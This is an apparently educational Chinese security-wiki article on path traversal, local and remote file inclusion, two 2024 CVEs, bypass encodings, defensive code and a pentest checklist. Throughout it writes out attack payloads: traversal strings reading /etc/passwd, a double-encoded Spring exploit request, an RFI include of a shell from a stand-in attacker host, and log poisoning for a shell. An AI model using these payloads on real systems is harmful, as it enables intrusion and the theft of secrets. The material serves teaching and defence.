作者:小雪花安全实验室
日期:2025-09-18
关键词:路径遍历、LFI、RFI、CVE-2024-23897、安全编码
1. 什么是任意文件读取漏洞?
任意文件读取(Arbitrary File Read)是一类服务端未对文件路径参数做严格校验,导致攻击者可指定任意路径读取服务器本地或远程文件的漏洞。
常见别名:
- 目录遍历(Directory Traversal / Path Traversal)
- 本地文件包含(LFI,Local File Inclusion)
- 远程文件包含(RFI,Remote File Inclusion)
2. 漏洞原理
2.1 路径拼接场景
Web 应用经常根据用户输入拼接文件路径:
<?php
$template = $_GET['template']; // index
include '/var/www/html/tpl/' . $template . '.php';
?>
攻击者只需把 template 设为:
../../../etc/passwd%00
即可令 PHP 实际包含 /etc/passwd,造成敏感文件泄露。
2.2 核心问题
- 未验证路径合法性(白名单)
- 未进行规范化(normalize / realpath)
- 未过滤危险字符(
../、..\、..、%2e%2e%2f、UTF-16 编码等) - 配置了危险的 PHP 选项(
allow_url_include = On会升级为 RCE)
3. 漏洞分类速查表
| 类型 | 范围 | 触发点 | 危害 | 经典 payload |
|---|---|---|---|---|
| 目录遍历 | 任何语言 | 下载、读取、模板渲染 | 信息泄露 | download?file=../../config.js |
| LFI | PHP/JSP/ASP | include/require |
信息泄露 + RCE(结合日志 / Session / 图片马) | ?lang=../../upload/shell.jpg |
| RFI | PHP | include 远程 URL |
直接 RCE | ?inc=http://attacker/shell.txt |
4. 2024 典型 CVE 案例
4.1 Jenkins CLI CVE-2024-23897
- 成因:CLI 解析器支持
@file语法,自动将@/etc/passwd替换为文件内容。 - 影响版本:≤ 2.441 / LTS ≤ 2.426.2
- 利用:无需认证即可读取任意文件,甚至下载整个
secrets/master.key。 - 复现地址:- 点击Jenkins CLI CVE-2024-23897靶场环境
- 修复:升级到 2.442+ 或关闭 CLI 端口。
4.2 Spring Framework CVE-2024-38819
- 成因:
ResourceHttpRequestHandler对..过滤不完整,双 URL 编码可绕过。 - 影响:5.3.0-5.3.40、6.0.0-6.0.24、6.1.0-6.1.13
- 利用:
GET //static/link/%252f%252e%252e%252fetc%252fpasswd - 修复:升级到 5.3.41 / 6.0.25 / 6.1.14
5. 攻击技巧总结
| 绕过手段 | 示例 | 说明 |
|---|---|---|
| 双重 URL 编码 | %252e%252e%252f |
解码两次后为 ../ |
| UTF-16 编码 | ..%c0%af |
旧版 Java new File() 解析差异 |
| 空字节截断 | ../../../../boot.ini%00.jpg |
PHP < 5.3.4 有效 |
| 绝对路径 | /etc/passwd |
若代码拼接逻辑不严谨 |
| 软链接 | 上传 link -> /etc/passwd |
后端未判断 is_symlink |
| 日志 Poisoning | 把 PHP 代码写到 User-Agent -> 包含日志 |
拿 Shell |
6. 防御方案(开发视角)
6.1 输入验证
- 白名单 > 黑名单
只允许a-zA-Z0-9_-且长度限制。
// Java 示例
String file = req.getParameter("f");
if (!file.matches("^[\\w-]+\\.txt$")) {
throw new SecurityException("非法文件名");
}
6.2 路径规范化 + 前缀校验
import os, pathlib
def safe_open(base: str, name: str):
base = pathlib.Path(base).resolve()
target = (base / name).resolve()
if not str(target).startswith(str(base)):
raise ValueError("路径越界")
return target.read_text()
6.3 文件系统隔离
- 上传目录与系统分区物理隔离(挂载单独盘 / 容器卷)
- Web 服务器以最低权限运行(
www-data/nobody+ chroot)
6.4 关闭危险功能
- PHP:
allow_url_include=Off,open_basedir=/var/www/ - Java:不要启用
file://之外的协议处理器 - Spring:配置
setAllowedLocations(new ClassPathResource("static/"))
6.5 WAF / RASP 兜底
- 路径遍历正则:
\.{1,2}[\\/]|%2e%2e|\.%2e - 对响应内容检测
/etc/passwd、root:、<%等关键字进行拦截或打补丁。
7. 渗透测试 checklist
✅ 手动 payload 快速验证
- ../../../etc/passwd
- ..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
- %2e%2e%2f%2e%2e%2fetc%2fpasswd
✅ 自动化扫描
- Burp Suite Active Scanner / OWASP ZAP
- Nessus/OpenVAS 插件 Directory Traversal
✅ 代码审计关键词
- new File( / File() / Paths.get( / include / require
- request.getParameter / @RequestParam / @PathVariable
✅ 日志审查
- 200 响应码返回 root:、[boot loader]、-----BEGIN RSA PRIVATE KEY-----
- 异常长度响应(读取二进制文件导致)
8. 参考资源
- OWASP Testing Guide 4.0 – Path Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- Jenkins Security Advisory 2024-01-24 – CVE-2024-23897
- Spring IO CVE-2024-38819 Official Report
- Indusface Blog – File Inclusion Attacks (2025-09)
版权声明:如无特殊说明,文章均为本站原创,转载请注明出处
本文链接:https://www.secsnow.cn/wiki/subject/article/fileread/
许可协议:署名-非商业性使用 4.0 国际许可协议